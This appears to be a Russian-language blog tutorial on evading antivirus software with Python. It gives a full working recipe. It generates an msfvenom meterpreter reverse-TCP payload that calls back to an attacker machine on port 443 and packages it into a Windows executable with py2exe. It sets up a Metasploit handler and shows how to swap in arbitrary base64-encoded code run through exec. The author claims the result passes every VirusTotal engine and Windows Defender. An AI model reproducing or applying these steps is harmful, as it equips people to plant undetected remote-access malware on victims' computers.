Python антивирусы Кодинг

Обход антивирусов на Python для самых маленьких

Сегодня мы поговрим про обход антивирусов. В этой статье – простое руководство по обходу антивирусов для...

Обход антивирусов на Python для самых маленьких

Сегодня мы поговрим про обход антивирусов.

В этой статье – простое руководство по обходу антивирусов для начинающих на Python.

Попытка обхода антивируса – это всегда игра в кошки-мышки. Всякий раз, когда новая техника уклонения становится распространенной, производители антивирусов узнают об этом и обновляют базу сигнатур, чтобы блокировать её.

На момент написания этой статьи, описанный здесь метод успешно использовался для обхода всех, без исключения антивирусов на Virus Total, и, как следствие, для успешного выполнения вредоносного кода на полностью обновленной машине с Windows 10 с включенным Windows Defender.

Payload на Python

Антивирусы основанные на сравнение сигнатур, соотносят сиггатуры обнаруженных файлов со своей базой данных известных вредоносов. Наша цель состоит в том, чтобы “замаскировать” полезную нагрузку кода, или как её еще называют, пэйлоад, таким образом, чтобы сигнатура не совпадала ни с одной из известных антивирусам сигнатур.

Поведенческий антивирус попытается сопоставить известные подозрительные действия с действиями, предпринятыми при исполнении вашего кода. Наша вредоносная программа будет работать как клиент, запускающий TCP-соединение на 443 порту. Антивирусам на основе анализа поведения будет сложнее ловить подобные действия, не создавая ложных срабатываний для обычных приложений, например, таких как веб-браузеры.

В этом примере мы используем полезную нагрузку Python, сгенерированную MSFVenom, чтобы открыть обратный TCP-шелл (сеанс meterpreter) на 443 порту с компьютером атакующего, на котором запущен Metasploit. Подобные действия ПО, очевидно, похожи на действия вредоноса и должены отлавливаться любым антивирусом.

Описанный здесь подход достаточно гибок, поэтому в дальнейшем вы можете расширить его, заменив msfvenom своим собственным кодом Python.

Настройка окружения

Мы рекомендуем использовать 3 виртуальные машины для этого урока:

Причина, по которой мы использовали две разные виртуальные машины Windows, заключается в том, что нам нужен полностью пропатченный бокс, чтобы протестировать наш маленький вредонос в “полевых условиях”. До cборки с помощью Py2Exe, машина со всеми патчами однозначно буздет “ругаться” на наш необработанный пэйлоад Python, как на вредонос, что затруднит работу. Отсюда и потребность в виртуальной машине Metasploitable: 3 для обработки полезной нагрузки перед ее упаковкой.

Создание необнаружимой полезной нагрузки на Python

Здесь мы рекомендуем использовать Windows Metasploitable 3 в качестве основной рабочей среды.

Установите Python 2.7.16 x86 для Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

Установите 32 битный Py2exe для Python 2.7: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

Опционально, установите Open SSL для Windows.

Переключитесь на виртуальную машину с Kali и создайте payload на Python-e:

Примечание: мы использовали IP-адрес 10.0.2.10 для нашей Кали. Убедитесь, что вы заменили его своим IP-адресом для этого и всех оставшихся шагов в этом руководстве.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

service apache2 start

Скопируйте полезную нагрузку «mrtp.py» на компьютер с Windows:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Теперь установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe

или

pip install py2exe

Далее создайте setup.py со следующим содержанием:

from distutils.core import setup
import py2exe
setup(
name = ‘Meter’,
description = ‘Python-based App’,
version = ‘1.0’,
console=[‘mrtp.py’],
options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
zipfile = None,
)

Соберите исполняемый файл Python с помощью Py2Exe:

python.exe .\setup.py py2exe

Проверьте создался ли бинарник “mrtp.exe” в папке dist:

Запустите его:

.\dist\mrtp.exe

Переключитесь назад к виртуалке с Кали и запустите Метасплоит:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run

Примечание. В зависимости от того, как долго будет грузиться Metasploit, вам может потребоваться снова запустить mrtp.exe в окне Windows.

Теперь, когда мы убедились, что наш маленький вредонос работает, давайте протестируем на VirusTotal-е:

Если вы все сделали правильно, то получите чистый отчет:

Теперь пришло время запустить наш вредонос на виртуалке с Windows 10. Просто перетащите файл «mrtp.exe» непосредственно в окно Windows 10.

Убедитесь, что Metasploit прослушивает порт 443 на машине с Kali, и запустите “mrtp.exe” на виртуалке с Windows 10.

Как видно на скриншоте, артефакт выполнен необнаруженным, и сеанс Meterpreter был успешно установлен.

Модифицируем наш вредонос

Вы можете использовать ту же технику и создать свой собственный код. Все, что нужно, это повторить предидущие шаги, отредактировав файл «mrtp.py» после его генерации с помощью msfvenom. Вам придется заменить строку, закодированную в base64 вашей собственной.

Для тренировки, создадим “custom_payload-py:

print ("Customized payload")
print ("It works!")

После создания, на надо закодировать его в base64:

cat custom_payload.py | base64

Примера, который мы использовали, закодированный в Base64 будет выглядеть так:

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

Теперь отпредактируем уже существующий “mrtp.py”, который мы использовали в прошлый и раз и заменим строчку base64 на новую:

После исправлений результат должен выглядеть примерно так:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==')))

Cкопируем mrtp.py на виртуалку с Windows и соберем бинарник:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

После запуска собранного бинакрника, мы увидим на экране терминала строчки “Customized payload” и “It works”.

В следующий раз мы поговорим про обход антивирусов с помощью фреймворка Veil.

Вуаля. Все генеальное просто.

Удачи в изучении Python!

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.